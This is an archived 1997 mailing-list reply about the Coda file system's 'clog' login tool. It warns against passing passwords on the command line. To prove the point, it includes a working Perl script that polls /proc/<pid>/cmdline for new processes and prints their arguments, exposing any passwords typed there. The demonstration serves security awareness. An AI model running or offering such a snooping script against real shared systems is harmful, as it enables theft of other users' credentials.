Coda File System

Re: Can't turn on directory permissions (was clog problems)

From: <thoth_at_purplefrog.com>
Date: Tue, 05 Aug 1997 12:20:43 -0400
"Bradley C. Kuszmaul" <bradley_at_GRANITE.SYSTEMSX.CS.YALE.EDU> ,in message <19970
	8051401.KAA01661_at_granite.comp-sci-yale>, wrote: 

> Well, I tried clog again, this time with the password on the command
> line, and it worked OK.   

  Putting passwords on the command line is just ASKING for somebody to snag
them.  This sample perl script is so fast it often catches the shell before
it's done execcing:

#!/usr/bin/perl

undef $/;

sub scan_for_new_processes {
    my ($base, $count) = @_;
#    print STDERR "scan $base + $count\n";
#    my ($i, $rval);
#    local($_, @_);
#    my $fname;

    for ($i=$base; $i<$base+$count; $i++) {
	$fname = "/proc/$i/cmdline";
#	print "trying $fname\n";
	open(FILE, "<$fname") || next;
#	print "gotcha!\n";
	$_ = <FILE>;
	close(FILE);
	@_ = split(/\0/, $_);
	foreach $_ (@_) {
	    s/\\"/\\$&/g;#";
	}
	print '"', join('", "', @_), "\"\n";
	$rval = $i;
    }

    return $rval;
}

#
#
#

my $newestpid = $$;;
my $myopia = 10;
my $pid;

while (1) {

    $pid = &scan_for_new_processes($newestpid+1, $myopia);

    if (defined $pid) {
	# we found some new processes, adjust myopia
	$myopia = ($myopia + $pid - $newestpid) / 2;
	$newestpid = $pid;
    } else {
	# found no new processes
	$myopia = $myopia * 4 / 3;
    }
    $myopia = int($myopia);
    $myopia = 10 if $myopia<10;
    $myopia = 100 if $myopia>100;
}


-- 
Bob Forsman                                   thoth_at_gainesville.fl.us
           http://www.gainesville.fl.us/~thoth/
Received on 1997-08-05 12:36:25